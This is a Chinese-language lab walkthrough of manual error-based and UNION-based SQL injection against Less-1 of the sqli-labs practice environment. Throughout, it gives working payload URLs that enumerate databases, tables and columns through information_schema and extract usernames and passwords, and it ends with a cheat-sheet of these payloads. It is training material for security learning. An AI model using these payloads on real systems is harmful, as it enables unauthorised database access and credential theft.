环境准备:
Phpstudy (PHP+Apache+Mysql)
Sql-lab
首先了解下基础知识:
URL编码:
因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行URL编码,因为Http协议中参数的传输是"key=value"这种键值对形式的,所以会将“=”,“#”等字常见的字符进行URL编码。等号的URL编码为%23,空格是%20,单引号是%27, 井号是%23,双引号是%22等,(详情可参考http://www.w3school.com.cn/tags/html_ref_urlencode.html)
因为涉及到Mysql数据库,在插入数据库语句时会用到Mysql数据库的注释符
Mysql支持三种注释方式:
1.从‘#'字符从行尾。
2.从‘-- '序列到行尾。请注意‘-- '(双破折号)注释风格要求第2个破折号后面至少跟一个空格符(例如空格、tab、换行符(用%20或者+表示空格)等等)。
3.从/*序列到后面的*/序列。结束序列不一定在同一行中,因此该语法允许注释跨越多行。
SQL手工注入的基本流程:
1、首先判断是什么类型的注入,有没过滤了关键字,能不能通过加入注释符绕过
2、接着获取当前数据库用户,版本,当前连接的数据库等信息。
3、然后一般是获取用户账户密码的那个数据库表的信息
4、接着获取列信息
5、最后就获取数据了
为了方便学习查看,可以在源码中的$sql下一句语句写以下php语句(就是输出拿到数据库查询的完整语句是怎么样的)
echo "你的 sql 语句是:".$sql."<br>";
Less-1 -- GET-Error based - String quotes (报错型注入)
首先点开第一个练习,URL为http://192.168.139.131/sqli-lab/Less-1/
根据提示信息,给URL传入参数,然后查看输入不同的值页面返回的数据的不同
尝试如果输入的值id不是整数,那么我们可以传入一个非整数来看看,则不会返回数据;
第一步:判断注入点是否存在
通过替换id的值可以肯出页面返回的信息是不同的,经尝试所以手贱的尝试添加个引号
在参数id后加上引号后发现页面报错,这里可以看到报错信息直接显示在页面上,根据报错信息可以看出数据库是Mysql数据库的。在测试SQL注入时,如果页面上没有很明显的报错信息时,可以将数据包放到Burp中观察返回数据包的大小来判断。
由上图可以看出报错信息是:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''8'' LIMIT 0,1' at line 1
从报错信息中可以看出来一部分SQL语句:
’ 8’ ’ LIMIT 0,1
在这里的8' 是我们传入的参数,从报错信息大致可以才出来后台SQL语句形式
select XXX, XXX from users where id='$_GET[id]' limit 0,1
那么结合我们刚刚传入的id值则可以组成的SQL语句大致为:
select XXX, XXX from users where id=' 8’ ' limit 0,1
如果是在Mysql数据库中传入畸形参数-比如说单引号,数据库语句就无法执行,会一直处于等待闭合的状态,但是对于SQL执行语句来说,它会认为这是一个错误的SQL语句,并且返回一个错误提示信息。所以此时我们应该闭合单引号或者是注释掉单引号。
select XXX, XXX from users where id=' 8’ ‘ ' limit 0,1
或者注释掉后面的单引号
select XXX, XXX from users where id=' 8’ -- ' limit 0,1 (’-- ’ 采用双短线+空格注释后面的语句)
或
select XXX, XXX from users where id=' 8’ # ' limit 0,1 (采用’#‘注释)
由上面两幅图可以看出,数据正常返回,说明SQL语句正常执行了,后面的单引号被注释了
注意点:
1、为什么是 ‘--+’ 而不是 ‘—‘
因为这里字符 ‘-‘ 和字符 ‘+‘ 在URL中都是有固定的含义的 , 比如说 ‘+’ 就在URL编码中就代表空格 , 而URL编码中 ‘-‘ 不用编码
2、为什么 ‘--+’ 没有被URL
因为由于这里我们是用+代替了空格, 因此不需要进行编码 , 我们也可以不用 ’+’ 而使用空格的URL编码 , 那么编码得到的URL就应该是 :
http://192.168.139.131/sqli-lab/Less-1/?id=8' --%20
3、’#’ 又为什么必须得编码,不编码不可以吗?
不可以 , 因为 ’#’ 在URL中是有固定的含义的 , 表示页面中的锚点 , 如果不进行编码浏览器就会将其当成页面的锚点 , 而这里我们是需要将其作为数据传输给服务器的 , 因此需要进行URL编码。
现在我们能控制的字段是id后面传入的参数,然后拼接到原来的SQL语句中执行,所以通过构造传入不同的id参数,达到控制系统内执行我们所需要的SQL语句。
所以接下来第二步:猜解字段长度
http://192.168.139.131/sqli-lab/Less-1/?id=8' order by 3 --+
从上面对比可以看出,数据库中字段值为3
通过Order by X 判断数据库中字段数,如果X是小于等于数据库中字段值页面则会返回正常数据,如果X大于数据库中字段值也会则会出错
SQL UNION 操作符:
(1)UNION 操作符用于合并两个或多个 SELECT 语句的结果集 (2)请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL (3)对于union而言,如果第一个Sql查询语句为错误的话,那么它会将第二个SQL语句的查询结果作为最后的输出
第三步:确定数据库中字段在页面上的回显位:
使用union联合查询后发现页面返回的数据没变,这是因为如果左边的SQL语句正确执行那么就会只返回左边第一个查询语句的运行结果,那么我们只要让第一行查询的结果是空集(即union左边的select子句查询结果为空),那么我们union右边的查询结果自然就成为了第一行,就打印在网页上了。
这个id传递的是数字,而且一般都是从1开始自增的,我们可以把id值设为非正数(负数或0),浮点数,字符型或字符串都行,主要是使左边的查询语句报错就行。
从上面的union select 1,2, 3 --+语句的执行结果可以看出第2位和第3位是回显位—是数据库中字段可以显示在页面上的位置
所以可以通过替换union select语句中的第2个字段和第三个字段来查询我们所需要的信息,如:
user(): #返回当前数据库连接使用的用户 database(): #返回当前数据库连接使用的数据库 version(): #返回当前数据库的版本 @@datadir #数据库路径 @@version_compile_os #操作系统版本
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,database(), user() --+
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,@@datadir, @@version --+
从上面可以看到,通过页面回显位显示出特定的所需要的值,包括数据库用户,物理路径等
在数据库中执行查询语句时,如果页面显示位比较少,又不想重复性操作,这时我们就用到数据库的连接函数了,常用的就concat和concat_ws,其中concat_ws的第一个参数是连接字符串的分隔符,还会用到group_concat(可以把查询出来的多行连接起来)
具体连接函数用法详情请参考:
https://www.cnblogs.com/yingmo/p/6148360.html
http://192.168.139.131/sqli-lab/Less-1/?id=-8' UNION SELECT 1,2,concat_ws(char(32,58,32),user(),database(),version(),@@datadir,@@version_compile_os) --+
查询数据库
SQL注入核心就是找到当前数据库,由上图可以看出当前数据库是security,当然还可以看到当前连接数据库的用户是root,因为root权限比较高,我们不仅可以查看到自己当前的数据看还可以看到其他的数据库信息。
在找到当前的数据库后,如果还想看下其他的数据库的内容,可以用这个语句查询所有的数据库:
http://192.168.139.131/sqli-lab/Less-1/?id=-8' UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+
接下来查询security数据库中有哪些表
首先说一下mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表
(1)SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。 (2)TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表 (3)COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。
详细请看:
http://wenku.baidu.com/link?url=bIA38Slp-g2Bob4VDuTSVY8e04Beqq9Xac4I90UMC9ziQuzxiukpEh5abPK-woB9tuQ4DuY_KhKW-eTHH6ACSiMJmRhctiHvijOEFmENBbS
查询数据库security中的数据表信息
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
或者
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
这里的database()函数进行了数据库查询,因为我们已经查到了当前的数据库为security,所有这里还可以用单引号括把数据库的名称用单引号括起来'security'。
还可以通过hex编码数据库名,当然如果嫌麻烦的话这里还可以直接将数据表用hex编码,Firefox自带的hackbar插件就有。注hex编码后在前面加上0x表明这里是16进制编码。
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
因为我们进行SQL注入时一般是查找用户登录信息,包括用户名密码等信息,所以根据数据特性,一般用户名字段都是放在user表中
查询数据表user中的数据列信息:
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
根据列查询特定字段值:
知道了数据库、表名、各个字段名可以直接进行查询了,不需借助information_schanem数据库了。
http://192.168.139.131/sqli-lab/Less-1/?id=-8' UNION SELECT 1,2,group_concat(char(32,58,32),id,username,password) from users --+
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,username,password from users where id =2--+
也许很多人可能会想,这里和开始有什么区别吗?只要我在开始的时候修改那个参数id的值,岂不就可以获取其他的字段信息了吗?何必如此呢?但是如果你这么想,那么你忽略了一点就是,之前的情况下,你是不知道表名的。你只可以查询指定的数据库、表名、字段信息,但是现在你可以进行修改,查询其他系统的数据库的信息了!
简单的对之前的信息进行整理:
order by -- + 判断字段数目 union select -- + 联合查询收集信息 id=1′ and 1=2 UNION SELECT 1,2,database() -- + 查询当前数据库 id=1’ and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata -- +查询所有数据库 id=1′ and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- +查询表名 id=1′ and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ -- + 查询列名 id=1′ and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users -- + 查询字段值
参考链接:
https://www.freebuf.com/articles/web/160352.html https://blog.csdn.net/u012763794/article/details/51207833# https://blog.csdn.net/Fly_hps/article/details/80234840?utm_source=blogxgwz1